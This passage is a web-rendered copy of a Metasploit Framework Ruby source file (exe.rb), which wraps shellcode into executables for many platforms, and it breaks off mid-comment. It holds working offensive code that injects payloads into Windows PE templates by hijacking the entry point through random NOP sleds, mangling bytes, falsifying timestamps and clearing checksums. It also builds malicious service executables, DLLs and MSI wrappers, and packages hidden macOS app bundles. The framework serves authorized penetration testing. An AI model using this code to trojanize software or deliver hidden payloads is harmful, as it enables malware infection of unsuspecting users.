Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/util/exe.rb
31176 views
1
# -*- coding: binary -*-
2
3
module Msf
4
module Util
5
#
6
# The class provides methods for creating and encoding executable file
7
# formats for various platforms. It is a replacement for the previous
8
# code in Rex::Text
9
#
10
11
class EXE
12
13
require 'rex'
14
require 'rex/peparsey'
15
require 'rex/pescan'
16
require 'rex/random_identifier'
17
require 'rex/zip'
18
require 'rex/powershell'
19
require 'metasm'
20
require 'digest/sha1'
21
# Generates a default template
22
#
23
# @param opts [Hash] The options hash
24
# @option opts [String] :template, the template type for the executable
25
# @option opts [String] :template_path, the path for the template
26
# @option opts [Bool] :fallback, If there are no options set, default options will be used
27
# @param exe [String] Template type. If undefined, will use the default.
28
# @param path [String] Where you would like the template to be saved.
29
def self.set_template_default(opts, exe = nil, path = nil)
30
# If no path specified, use the default one
31
path ||= File.join(Msf::Config.data_directory, 'templates')
32
33
# If there's no default name, we must blow it up.
34
unless exe
35
raise 'Ack! Msf::Util::EXE.set_template_default called ' +
36
'without default exe name!'.to_s
37
end
38
39
# Use defaults only if nothing is specified
40
opts[:template_path] ||= path
41
opts[:template] ||= exe
42
43
# Only use the path when the filename contains no separators.
44
unless opts[:template].include?(File::SEPARATOR)
45
opts[:template] = File.join(opts[:template_path], opts[:template])
46
end
47
48
# Check if it exists now
49
return if File.file?(opts[:template])
50
51
# If it failed, try the default...
52
if opts[:fallback]
53
default_template = File.join(path, exe)
54
if File.file?(default_template)
55
# Perhaps we should warn about falling back to the default?
56
opts.merge!({ fellback: default_template })
57
opts[:template] = default_template
58
end
59
end
60
end
61
62
# self.read_replace_script_template
63
#
64
# @param filename [String] Name of the file
65
# @param hash_sub [Hash]
66
def self.read_replace_script_template(filename, hash_sub)
67
template_pathname = File.join(Msf::Config.data_directory, 'templates',
68
'scripts', filename)
69
template = ''
70
File.open(template_pathname, 'rb') { |f| template = f.read }
71
template % hash_sub
72
end
73
74
# Generates a ZIP file.
75
#
76
# @param files [Array<Hash>] Items to compress. Each item is a hash that supports these options:
77
# * :data - The content of the file.
78
# * :fname - The file path in the ZIP file
79
# * :comment - A comment
80
# @example Compressing two files, one in a folder called 'test'
81
# Msf::Util::EXE.to_zip([{data: 'AAAA', fname: "file1.txt"}, {data: 'data', fname: 'test/file2.txt'}])
82
# @return [String]
83
def self.to_zip(files)
84
zip = Rex::Zip::Archive.new
85
86
files.each do |f|
87
data = f[:data]
88
fname = f[:fname]
89
comment = f[:comment] || ''
90
zip.add_file(fname, data, comment)
91
end
92
93
zip.pack
94
end
95
96
# Executable generators
97
#
98
# @param arch [Array<String>] The architecture of the system (i.e :x86, :x64)
99
# @param plat [String] The platform (i.e Linux, Windows, OSX)
100
# @param code [String]
101
# @param opts [Hash] The options hash
102
# @param framework [Msf::Framework] The framework of you want to use
103
# @return [String]
104
# @return [NilClass]
105
def self.to_executable(framework, arch, plat, code = '', opts = {})
106
# This code handles mettle stageless when LinuxMinKernel is 2.4+ because the code will be a elf or macho.
107
if elf?(code) || macho?(code)
108
return code
109
end
110
111
if plat.index(Msf::Module::Platform::Windows)
112
return to_win32pe(framework, code, opts) if arch.index(ARCH_X86)
113
return to_win64pe(framework, code, opts) if arch.index(ARCH_X64)
114
elsif plat.index(Msf::Module::Platform::Linux)
115
return to_linux_armle_elf(framework, code, opts) if arch.index(ARCH_ARMLE)
116
return to_linux_armbe_elf(framework, code, opts) if arch.index(ARCH_ARMBE)
117
return to_linux_aarch64_elf(framework, code, opts) if arch.index(ARCH_AARCH64)
118
return to_linux_mipsbe_elf(framework, code, opts) if arch.index(ARCH_MIPSBE)
119
return to_linux_mipsle_elf(framework, code, opts) if arch.index(ARCH_MIPSLE)
120
return to_linux_mips64_elf(framework, code, opts) if arch.index(ARCH_MIPS64)
121
return to_linux_ppc_elf(framework, code, opts) if arch.index(ARCH_PPC)
122
return to_linux_ppc64le_elf(framework, code, opts) if arch.index(ARCH_PPC64LE)
123
return to_linux_ppce500v2_elf(framework, code, opts) if arch.index(ARCH_PPCE500V2)
124
return to_linux_riscv32le_elf(framework, code, opts) if arch.index(ARCH_RISCV32LE)
125
return to_linux_riscv64le_elf(framework, code, opts) if arch.index(ARCH_RISCV64LE)
126
return to_linux_x86_elf(framework, code, opts) if arch.index(ARCH_X86)
127
return to_linux_x64_elf(framework, code, opts) if arch.index(ARCH_X64)
128
return to_linux_zarch_elf(framework, code, opts) if arch.index(ARCH_ZARCH)
129
return to_linux_loongarch64_elf(framework, code, opts) if arch.index(ARCH_LOONGARCH64)
130
elsif plat.index(Msf::Module::Platform::OSX)
131
return to_osx_arm_macho(framework, code, opts) if arch.index(ARCH_ARMLE)
132
return to_osx_aarch64_macho(framework, code, opts) if arch.index(ARCH_AARCH64)
133
return to_osx_ppc_macho(framework, code, opts) if arch.index(ARCH_PPC)
134
return to_osx_x86_macho(framework, code, opts) if arch.index(ARCH_X86)
135
return to_osx_x64_macho(framework, code, opts) if arch.index(ARCH_X64)
136
elsif plat.index(Msf::Module::Platform::BDS)
137
return to_bsd_x86_elf(framework, code, opts) if arch.index(ARCH_X86)
138
return to_bsd_x64_elf(framework, code, opts) if arch.index(ARCH_X64)
139
elsif plat.index(Msf::Module::Platform::Solaris)
140
return to_solaris_x86_elf(framework, code, opts) if arch.index(ARCH_X86)
141
end
142
nil
143
end
144
145
# Clears the DYNAMIC_BASE flag for a Windows executable
146
#
147
# @param exe [String] The raw executable to be modified by the method
148
# @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file
149
# @return [String] the modified executable
150
def self.clear_dynamic_base(exe, pe)
151
c_bits = ('%32d' % pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map(&:to_i).reverse
152
c_bits[6] = 0 # DYNAMIC_BASE
153
new_dllcharacteristics = c_bits.reverse.join.to_i(2)
154
155
# PE Header Pointer offset = 60d
156
# SizeOfOptionalHeader offset = 94h
157
dll_ch_offset = exe[60, 4].unpack('h4')[0].reverse.hex + 94
158
exe[dll_ch_offset, 2] = [new_dllcharacteristics].pack('v')
159
exe
160
end
161
162
# self.to_win32pe
163
#
164
# @param framework [Msf::Framework]
165
# @param code [String]
166
# @param opts [Hash]
167
# @option opts [String] :sub_method
168
# @option opts [String] :inject, Code to inject into the exe
169
# @option opts [String] :template
170
# @option opts [Symbol] :arch, Set to :x86 by default
171
# @return [String]
172
def self.to_win32pe(framework, code, opts = {})
173
# For backward compatibility, this is roughly equivalent to 'exe-small' fmt
174
if opts[:sub_method]
175
if opts[:inject]
176
raise 'NOTE: using the substitution method means no inject support'
177
end
178
179
# use
180
self.to_win32pe_exe_sub(framework, code, opts)
181
end
182
183
# Allow the user to specify their own EXE template
184
set_template_default(opts, 'template_x86_windows.exe')
185
186
# Copy the code to a new RWX segment to allow for self-modifying encoders
187
payload = win32_rwx_exec(code)
188
189
# Create a new PE object and run through sanity checks
190
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
191
192
# try to inject code into executable by adding a section without affecting executable behavior
193
if opts[:inject]
194
injector = Msf::Exe::SegmentInjector.new({
195
payload: code,
196
template: opts[:template],
197
arch: :x86,
198
secname: opts[:secname]
199
})
200
return injector.generate_pe
201
end
202
203
text = nil
204
pe.sections.each { |sec| text = sec if sec.name == '.text' }
205
206
raise 'No .text section found in the template' unless text
207
208
unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
209
raise 'The .text section does not contain an entry point'
210
end
211
212
p_length = payload.length + 256
213
214
# If the .text section is too small, append a new section instead
215
if text.size < p_length
216
appender = Msf::Exe::SegmentAppender.new({
217
payload: code,
218
template: opts[:template],
219
arch: :x86,
220
secname: opts[:secname]
221
})
222
return appender.generate_pe
223
end
224
225
# Store some useful offsets
226
pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
227
off_beg = pe.rva_to_file_offset(text.base_rva)
228
229
# We need to make sure our injected code doesn't conflict with the
230
# the data directories stored in .text (import, export, etc)
231
mines = []
232
pe.hdr.opt['DataDirectory'].each do |dir|
233
next if dir.v['Size'] == 0
234
next unless text.contains_rva?(dir.v['VirtualAddress'])
235
236
delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg
237
mines << [delta, dir.v['Size']]
238
end
239
240
# Break the text segment into contiguous blocks
241
blocks = []
242
bidx = 0
243
mines.sort { |a, b| a[0] <=> b[0] }.each do |mine|
244
bbeg = bidx
245
bend = mine[0]
246
blocks << [bidx, bend - bidx] if bbeg != bend
247
bidx = mine[0] + mine[1]
248
end
249
250
# Add the ending block
251
blocks << [bidx, text.size - bidx] if bidx < text.size - 1
252
253
# Find the largest contiguous block
254
blocks.sort! { |a, b| b[1] <=> a[1] }
255
block = blocks.first
256
257
# TODO: Allow the entry point in a different block
258
if payload.length + 256 >= block[1]
259
raise "The largest block in .text does not have enough contiguous space (need:#{payload.length + 257} found:#{block[1]})"
260
end
261
262
# Make a copy of the entire .text section
263
data = text.read(0, text.size)
264
265
# Pick a random offset to store the payload
266
poff = rand(block[1] - payload.length - 256)
267
268
# Flip a coin to determine if EP is before or after
269
eloc = rand(2)
270
eidx = nil
271
272
# Pad the entry point with random nops
273
entry = generate_nops(framework, [ARCH_X86], rand(51..250))
274
275
# Pick an offset to store the new entry point
276
if eloc == 0 # place the entry point before the payload
277
poff += 256
278
eidx = rand(poff - (entry.length + 5))
279
else # place the entry pointer after the payload
280
poff -= [256, poff].min
281
eidx = rand(block[1] - (poff + payload.length + 256)) + poff + payload.length
282
end
283
284
# Relative jump from the end of the nops to the payload
285
entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')
286
287
# Mangle 25% of the original executable
288
1.upto(block[1] / 4) do
289
data[block[0] + rand(block[1]), 1] = [rand(0x100)].pack('C')
290
end
291
292
# Patch the payload and the new entry point into the .text
293
data[block[0] + poff, payload.length] = payload
294
data[block[0] + eidx, entry.length] = entry
295
296
# Create the modified version of the input executable
297
exe = ''
298
File.open(opts[:template], 'rb') { |fd| exe = fd.read(fd.stat.size) }
299
300
a = [text.base_rva + block.first + eidx].pack('V')
301
exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a
302
exe[off_beg, data.length] = data
303
304
tds = pe.hdr.file.TimeDateStamp
305
exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack('V')
306
307
cks = pe.hdr.opt.CheckSum
308
unless cks == 0
309
exe[exe.index([cks].pack('V')), 4] = [0].pack('V')
310
end
311
312
exe = clear_dynamic_base(exe, pe)
313
pe.close
314
315
exe
316
end
317
318
# self.to_winpe_only
319
#
320
# @param framework [Msf::Framework] The framework of you want to use
321
# @param code [String]
322
# @param opts [Hash]
323
# @param arch [String] Default is "x86"
324
def self.to_winpe_only(framework, code, opts = {}, arch = ARCH_X86)
325
# Allow the user to specify their own EXE template
326
set_template_default(opts, "template_#{arch}_windows.exe")
327
328
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
329
330
exe = ''
331
File.open(opts[:template], 'rb') { |fd| exe = fd.read(fd.stat.size) }
332
333
pe_header_size = 0x18
334
entryPoint_offset = 0x28
335
section_size = 0x28
336
characteristics_offset = 0x24
337
virtualAddress_offset = 0x0c
338
sizeOfRawData_offset = 0x10
339
340
sections_table_offset =
341
pe._dos_header.v['e_lfanew'] +
342
pe._file_header.v['SizeOfOptionalHeader'] +
343
pe_header_size
344
345
sections_table_characteristics_offset = sections_table_offset + characteristics_offset
346
347
sections_header = []
348
pe._file_header.v['NumberOfSections'].times do |i|
349
section_offset = sections_table_offset + (i * section_size)
350
sections_header << [
351
sections_table_characteristics_offset + (i * section_size),
352
exe[section_offset, section_size]
353
]
354
end
355
356
addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint
357
358
# look for section with entry point
359
sections_header.each do |sec|
360
virtualAddress = sec[1][virtualAddress_offset, 0x4].unpack('V')[0]
361
sizeOfRawData = sec[1][sizeOfRawData_offset, 0x4].unpack('V')[0]
362
characteristics = sec[1][characteristics_offset, 0x4].unpack('V')[0]
363
364
next unless (virtualAddress...virtualAddress + sizeOfRawData).include?(addressOfEntryPoint)
365
366
importsTable = pe.hdr.opt.DataDirectory[8..(8 + 4)].unpack('V')[0]
367
if (importsTable - addressOfEntryPoint) < code.length
368
# shift original entry point to prevent tables overwriting
369
addressOfEntryPoint = importsTable - code.length + 4
370
371
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
372
exe[entry_point_offset, 4] = [addressOfEntryPoint].pack('V')
373
end
374
# put this section writable
375
characteristics |= 0x8000_0000
376
newcharacteristics = [characteristics].pack('V')
377
exe[sec[0], newcharacteristics.length] = newcharacteristics
378
end
379
380
# put the shellcode at the entry point, overwriting template
381
entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)
382
exe[entryPoint_file_offset, code.length] = code
383
exe = clear_dynamic_base(exe, pe)
384
exe
385
end
386
387
# self.to_win32pe_old
388
#
389
# @param framework [Msf::Framework] The framework of you want to use
390
# @param code [String]
391
# @param opts [Hash]
392
def self.to_win32pe_old(framework, code, opts = {})
393
payload = code.dup
394
# Allow the user to specify their own EXE template
395
set_template_default(opts, 'template_x86_windows_old.exe')
396
397
pe = ''
398
File.open(opts[:template], 'rb') { |fd| pe = fd.read(fd.stat.size) }
399
400
if payload.length <= 2048
401
payload << Rex::Text.rand_text(2048 - payload.length)
402
else
403
raise 'The EXE generator now has a max size of 2048 ' +
404
'bytes, please fix the calling module'.to_s
405
end
406
407
bo = pe.index('PAYLOAD:')
408
unless bo
409
raise 'Invalid Win32 PE OLD EXE template: missing "PAYLOAD:" tag'
410
end
411
412
pe[bo, payload.length] = payload
413
414
pe[136, 4] = [rand(0x100000000)].pack('V')
415
416
ci = pe.index("\x31\xc9" * 160)
417
unless ci
418
raise 'Invalid Win32 PE OLD EXE template: missing first "\\x31\\xc9"'
419
end
420
421
cd = pe.index("\x31\xc9" * 160, ci + 320)
422
unless cd
423
raise 'Invalid Win32 PE OLD EXE template: missing second "\\x31\\xc9"'
424
end
425
426
rc = pe[ci + 320, cd - ci - 320]
427
428
# 640 + rc.length bytes of room to store an encoded rc at offset ci
429
enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
430
rc.length
431
enc.length
432
433
buf = enc + Rex::Text.rand_text(640 + rc.length - enc.length)
434
pe[ci, buf.length] = buf
435
436
# Make the data section executable
437
xi = pe.index([0xc0300040].pack('V'))
438
pe[xi, 4] = [0xe0300020].pack('V')
439
440
# Add a couple random bytes for fun
441
pe << Rex::Text.rand_text(rand(4..67))
442
pe
443
end
444
445
# Splits a string into a number of assembly push operations
446
#
447
# @param string [String] String to be used
448
# @return [String] null terminated string as assembly push ops
449
def self.string_to_pushes(string)
450
str = string.dup
451
# Align string to 4 bytes
452
rem = str.length % 4
453
if rem > 0
454
str << "\x00" * (4 - rem)
455
pushes = ''
456
else
457
pushes = "h\x00\x00\x00\x00"
458
end
459
# string is now 4 bytes aligned with null byte
460
461
# push string to stack, starting at the back
462
until str.empty?
463
four = 'h' + str.slice!(-4, 4)
464
pushes << four
465
end
466
467
pushes
468
end
469
470
# self.exe_sub_method
471
#
472
# @param code [String]
473
# @param opts [Hash]
474
# @option opts [Symbol] :exe_type
475
# @option opts [String] :service_exe
476
# @option opts [Boolean] :sub_method
477
# @return [String]
478
def self.exe_sub_method(code, opts = {})
479
pe = get_file_contents(opts[:template])
480
481
case opts[:exe_type]
482
when :service_exe
483
opts[:exe_max_sub_length] ||= 8192
484
name = opts[:servicename]
485
if name
486
bo = pe.index('SERVICENAME')
487
unless bo
488
raise 'Invalid PE Service EXE template: missing "SERVICENAME" tag'
489
end
490
491
pe[bo, 11] = [name].pack('a11')
492
end
493
pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
494
when :dll
495
opts[:exe_max_sub_length] ||= 4096
496
when :exe_sub
497
opts[:exe_max_sub_length] ||= 4096
498
end
499
500
bo = find_payload_tag(pe, 'Invalid PE EXE subst template: missing "PAYLOAD:" tag')
501
502
if code.length <= opts.fetch(:exe_max_sub_length)
503
pe[bo, code.length] = [code].pack('a*')
504
else
505
raise 'The EXE generator now has a max size of ' +
506
"#{opts[:exe_max_sub_length]} bytes, please fix the calling module".to_s
507
end
508
509
if opts[:exe_type] == :dll
510
mt = pe.index('MUTEX!!!')
511
pe[mt, 8] = Rex::Text.rand_text_alpha(8) if mt
512
%w[Local\Semaphore:Default Local\Event:Default].each do |name|
513
offset = pe.index(name)
514
pe[offset, 26] = "Local\\#{Rex::Text.rand_text_alphanumeric(20)}" if offset
515
end
516
517
if opts[:dll_exitprocess]
518
exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"
519
exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"
520
et_index = pe.index(exit_thread)
521
if et_index
522
pe[et_index, exit_process.length] = exit_process
523
else
524
raise 'Unable to find and replace ExitThread in the DLL.'
525
end
526
end
527
end
528
529
pe
530
end
531
532
# self.to_win32pe_exe_sub
533
#
534
# @param framework [Msf::Framework] The framework of you want to use
535
# @param code [String]
536
# @param opts [Hash]
537
# @return [String]
538
def self.to_win32pe_exe_sub(framework, code, opts = {})
539
# Allow the user to specify their own DLL template
540
set_template_default(opts, "template_x86_windows.exe")
541
opts[:exe_type] = :exe_sub
542
exe_sub_method(code,opts)
543
end
544
545
# self.to_win64pe
546
#
547
# @param framework [Msf::Framework] The framework of you want to use
548
# @param code [String]
549
# @param opts [Hash]
550
# @return [String]
551
def self.to_win64pe(framework, code, opts = {})
552
# Allow the user to specify their own EXE template
553
set_template_default(opts, "template_x64_windows.exe")
554
555
# Try to inject code into executable by adding a section without affecting executable behavior
556
if opts[:inject]
557
injector = Msf::Exe::SegmentInjector.new({
558
payload: code,
559
template: opts[:template],
560
arch: :x64,
561
secname: opts[:secname]
562
})
563
return injector.generate_pe
564
end
565
566
# Append a new section instead
567
appender = Msf::Exe::SegmentAppender.new({
568
payload: code,
569
template: opts[:template],
570
arch: :x64,
571
secname: opts[:secname]
572
})
573
return appender.generate_pe
574
end
575
576
# Embeds shellcode within a Windows PE file implementing the Windows
577
# service control methods.
578
#
579
# @param framework [Object]
580
# @param code [String] shellcode to be embedded
581
# @option opts [Boolean] :sub_method use substitution technique with a
582
# service template PE
583
# @option opts [String] :servicename name of the service, not used in
584
# substitution technique
585
#
586
# @return [String] Windows Service PE file
587
def self.to_win32pe_service(framework, code, opts = {})
588
set_template_default(opts, "template_x86_windows_svc.exe")
589
if opts[:sub_method]
590
# Allow the user to specify their own service EXE template
591
opts[:exe_type] = :service_exe
592
return exe_sub_method(code,opts)
593
else
594
ENV['MSF_SERVICENAME'] = opts[:servicename]
595
596
opts[:framework] = framework
597
opts[:payload] = 'stdin'
598
opts[:encoder] = '@x86/service,'+(opts[:serviceencoder] || '')
599
600
# XXX This should not be required, it appears there is a dependency inversion
601
# See https://github.com/rapid7/metasploit-framework/pull/9851
602
venom_generator = Msf::PayloadGenerator.new(opts)
603
code_service = venom_generator.multiple_encode_payload(code)
604
return to_winpe_only(framework, code_service, opts)
605
end
606
end
607
608
# self.to_win64pe_service
609
#
610
# @param framework [Msf::Framework] The framework of you want to use
611
# @param code [String]
612
# @param opts [Hash]
613
# @option [String] :exe_type
614
# @option [String] :service_exe
615
# @option [String] :dll
616
# @option [String] :inject
617
# @return [String]
618
def self.to_win64pe_service(framework, code, opts = {})
619
# Allow the user to specify their own service EXE template
620
set_template_default(opts, 'template_x64_windows_svc.exe')
621
opts[:exe_type] = :service_exe
622
exe_sub_method(code, opts)
623
end
624
625
# self.set_template_default_winpe_dll
626
#
627
# Set the default winpe DLL template. It will select the template based on the parameters provided including the size
628
# architecture and an optional flavor. See data/templates/src/pe for template source code and build tools.
629
#
630
# @param opts [Hash]
631
# @param arch The architecture, as one the predefined constants.
632
# @param size [Integer] The size of the payload.
633
# @param flavor [Nil,String] An optional DLL flavor, one of 'mixed_mode' or 'dccw_gdiplus'
634
private_class_method def self.set_template_default_winpe_dll(opts, arch, size, flavor: nil)
635
return if opts[:template].present?
636
637
# dynamic size upgrading is only available when MSF selects the template because there's currently no way to
638
# determine the amount of space that is available in the template provided by the user so it's assumed to be 4KiB
639
match = { 4096 => '', 262144 => '.256kib' }.find { |k, _v| size <= k }
640
if match
641
opts[:exe_max_sub_length] = match.first
642
size_suffix = match.last
643
end
644
645
arch = { ARCH_X86 => 'x86', ARCH_X64 => 'x64' }.fetch(arch, nil)
646
raise ArgumentError, 'The specified arch is not supported, no DLL templates are available for it.' if arch.nil?
647
648
if flavor.present?
649
unless %w[mixed_mode dccw_gdiplus].include?(flavor)
650
raise ArgumentError, 'The specified flavor is not supported, no DLL templates are available for it.'
651
end
652
653
flavor = '_' + flavor
654
end
655
656
set_template_default(opts, "template_#{arch}_windows#{flavor}#{size_suffix}.dll")
657
end
658
659
# self.to_win32pe_dll
660
#
661
# @param framework [Msf::Framework] The framework of you want to use
662
# @param code [String]
663
# @param opts [Hash]
664
# @option [String] :exe_type
665
# @option [String] :dll
666
# @option [String] :inject
667
# @return [String]
668
def self.to_win32pe_dll(framework, code, opts = {})
669
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
670
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor)
671
opts[:exe_type] = :dll
672
673
if opts[:inject]
674
to_win32pe(framework, code, opts)
675
else
676
exe_sub_method(code, opts)
677
end
678
end
679
680
# self.to_win64pe_dll
681
#
682
# @param framework [Msf::Framework] The framework of you want to use
683
# @param code [String]
684
# @param opts [Hash]
685
# @option [String] :exe_type
686
# @option [String] :dll
687
# @option [String] :inject
688
# @return [String]
689
def self.to_win64pe_dll(framework, code, opts = {})
690
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
691
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: flavor)
692
693
opts[:exe_type] = :dll
694
695
if opts[:inject]
696
raise 'Template injection unsupported for x64 DLLs'
697
else
698
exe_sub_method(code, opts)
699
end
700
end
701
702
# self.to_win32pe_dccw_gdiplus_dll
703
#
704
# @param framework [Msf::Framework] The framework of you want to use
705
# @param code [String]
706
# @param opts [Hash]
707
# @option [String] :exe_type
708
# @option [String] :dll
709
# @option [String] :inject
710
# @return [String]
711
def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})
712
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus')
713
to_win32pe_dll(framework, code, opts)
714
end
715
716
# self.to_win64pe_dccw_gdiplus_dll
717
#
718
# @param framework [Msf::Framework] The framework of you want to use
719
# @param code [String]
720
# @param opts [Hash]
721
# @option [String] :exe_type
722
# @option [String] :dll
723
# @option [String] :inject
724
# @return [String]
725
def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {})
726
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: 'dccw_gdiplus')
727
to_win64pe_dll(framework, code, opts)
728
end
729
730
# Wraps an executable inside a Windows .msi file for auto execution when run
731
#
732
# @param framework [Msf::Framework] The framework of you want to use
733
# @param exe [String]
734
# @param opts [Hash]
735
# @option opts [String] :msi_template_path
736
# @option opts [String] :msi_template
737
# @return [String]
738
def self.to_exe_msi(framework, exe, opts = {})
739
if opts[:uac]
740
opts[:msi_template] ||= 'template_windows.msi'
741
else
742
opts[:msi_template] ||= 'template_nouac_windows.msi'
743
end
744
replace_msi_buffer(exe, opts)
745
end
746
747
# self.replace_msi_buffer
748
#
749
# @param pe [String]
750
# @param opts [String]
751
# @option [String] :msi_template
752
# @option [String] :msi_template_path
753
# @return [String]
754
def self.replace_msi_buffer(pe, opts)
755
opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, 'templates')
756
757
if opts[:msi_template].include?(File::SEPARATOR)
758
template = opts[:msi_template]
759
else
760
template = File.join(opts[:msi_template_path], opts[:msi_template])
761
end
762
763
msi = get_file_contents(template)
764
765
section_size = 2**(msi[30..31].unpack('v')[0])
766
767
# This table is one of the few cases where signed values are needed
768
sector_allocation_table = msi[section_size..section_size * 2].unpack('l<*')
769
770
buffer_chain = []
771
772
# This is closely coupled with the template provided and ideally
773
# would be calculated from the dir stream?
774
current_secid = 5
775
776
until current_secid == -2
777
buffer_chain << current_secid
778
current_secid = sector_allocation_table[current_secid]
779
end
780
781
buffer_size = buffer_chain.length * section_size
782
783
if pe.size > buffer_size
784
raise 'MSI Buffer is not large enough to hold the PE file'
785
end
786
787
pe_block_start = 0
788
pe_block_end = pe_block_start + section_size - 1
789
790
buffer_chain.each do |section|
791
block_start = section_size * (section + 1)
792
block_end = block_start + section_size - 1
793
pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
794
msi[block_start..block_end] = pe_block
795
pe_block_start = pe_block_end + 1
796
pe_block_end += section_size
797
end
798
799
msi
800
end
801
802
# self.to_osx_arm_macho
803
#
804
# @param framework [Msf::Framework] The framework of you want to use
805
# @param code [String]
806
# @param opts [Hash]
807
# @option [String] :template
808
# @return [String]
809
def self.to_osx_arm_macho(framework, code, opts = {})
810
# Allow the user to specify their own template
811
set_template_default(opts, 'template_armle_darwin.bin')
812
813
mo = get_file_contents(opts[:template])
814
bo = find_payload_tag(mo, 'Invalid OSX ArmLE Mach-O template: missing "PAYLOAD:" tag')
815
mo[bo, code.length] = code
816
mo
817
end
818
819
# self.to_osx_aarch64_macho
820
#
821
# @param framework [Msf::Framework] The framework of you want to use
822
# @param code [String]
823
# @param opts [Hash]
824
# @option [String] :template
825
# @return [String]
826
def self.to_osx_aarch64_macho(framework, code, opts = {})
827
# Allow the user to specify their own template
828
set_template_default(opts, 'template_aarch64_darwin.bin')
829
830
mo = get_file_contents(opts[:template])
831
bo = find_payload_tag(mo, 'Invalid OSX Aarch64 Mach-O template: missing "PAYLOAD:" tag')
832
mo[bo, code.length] = code
833
Payload::MachO.new(mo).sign
834
mo
835
end
836
837
# self.to_osx_ppc_macho
838
#
839
# @param framework [Msf::Framework] The framework of you want to use
840
# @param code [String]
841
# @param opts [Hash]
842
# @option [String] :template
843
# @return [String]
844
def self.to_osx_ppc_macho(framework, code, opts = {})
845
# Allow the user to specify their own template
846
set_template_default(opts, 'template_ppc_darwin.bin')
847
848
mo = get_file_contents(opts[:template])
849
bo = find_payload_tag(mo, 'Invalid OSX PPC Mach-O template: missing "PAYLOAD:" tag')
850
mo[bo, code.length] = code
851
mo
852
end
853
854
# self.to_osx_x86_macho
855
#
856
# @param framework [Msf::Framework] The framework of you want to use
857
# @param code [String]
858
# @param opts [Hash]
859
# @option [String] :template
860
# @return [String]
861
def self.to_osx_x86_macho(framework, code, opts = {})
862
# Allow the user to specify their own template
863
set_template_default(opts, 'template_x86_darwin.bin')
864
865
mo = get_file_contents(opts[:template])
866
bo = find_payload_tag(mo, 'Invalid OSX x86 Mach-O template: missing "PAYLOAD:" tag')
867
mo[bo, code.length] = code
868
mo
869
end
870
871
# self.to_osx_x64_macho
872
#
873
# @param framework [Msf::Framework] The framework of you want to use
874
# @param code [String]
875
# @param opts [Hash]
876
# @option [String] :template
877
# @return [String]
878
def self.to_osx_x64_macho(framework, code, opts = {})
879
set_template_default(opts, 'template_x64_darwin.bin')
880
881
macho = get_file_contents(opts[:template])
882
bin = find_payload_tag(macho,
883
'Invalid Mac OS X x86_64 Mach-O template: missing "PAYLOAD:" tag')
884
macho[bin, code.length] = code
885
macho
886
end
887
888
# self.to_osx_app
889
# @param opts [Hash] The options hash
890
# @option opts [Hash] :exe_name (random) the name of the macho exe file (never seen by the user)
891
# @option opts [Hash] :app_name (random) the name of the OSX app
892
# @option opts [Hash] :hidden (true) hide the app when it is running
893
# @option opts [Hash] :plist_extra ('') some extra data to shove inside the Info.plist file
894
# @return [String] zip archive containing an OSX .app directory
895
def self.to_osx_app(exe, opts = {})
896
exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) }
897
app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) }
898
hidden = opts.fetch(:hidden, true)
899
plist_extra = opts.fetch(:plist_extra, '')
900
901
app_name.chomp!('.app')
902
app_name += '.app'
903
904
visible_plist = if hidden
905
%(
906
<key>LSBackgroundOnly</key>
907
<string>1</string>
908
)
909
else
910
''
911
end
912
913
info_plist = %(
914
<?xml version="1.0" encoding="UTF-8"?>
915
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
916
<plist version="1.0">
917
<dict>
918
<key>CFBundleExecutable</key>
919
<string>#{exe_name}</string>
920
<key>CFBundleIdentifier</key>
921
<string>com.#{exe_name}.app</string>
922
<key>CFBundleName</key>
923
<string>#{exe_name}</string>#{visible_plist}
924
<key>CFBundlePackageType</key>
925
<string>APPL</string>
926
#{plist_extra}
927
</dict>
928
</plist>
929
)
930
931
zip = Rex::Zip::Archive.new
932
zip.add_file("#{app_name}/", '')
933
zip.add_file("#{app_name}/Contents/", '')
934
zip.add_file("#{app_name}/Contents/Resources/", '')
935
zip.add_file("#{app_name}/Contents/MacOS/", '')
936
# Add the macho and mark it as executable
937
zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe).last.attrs = 0o777
938
zip.add_file("#{app_name}/Contents/Info.plist", info_plist)
939
zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt')
940
zip.pack
941
end
942
943
# Create an ELF executable containing the payload provided in +code+
944
#
945
# For the default template, this method just appends the payload, checks if
946
# the template is 32 or 64 bit and adjusts the offsets accordingly
947
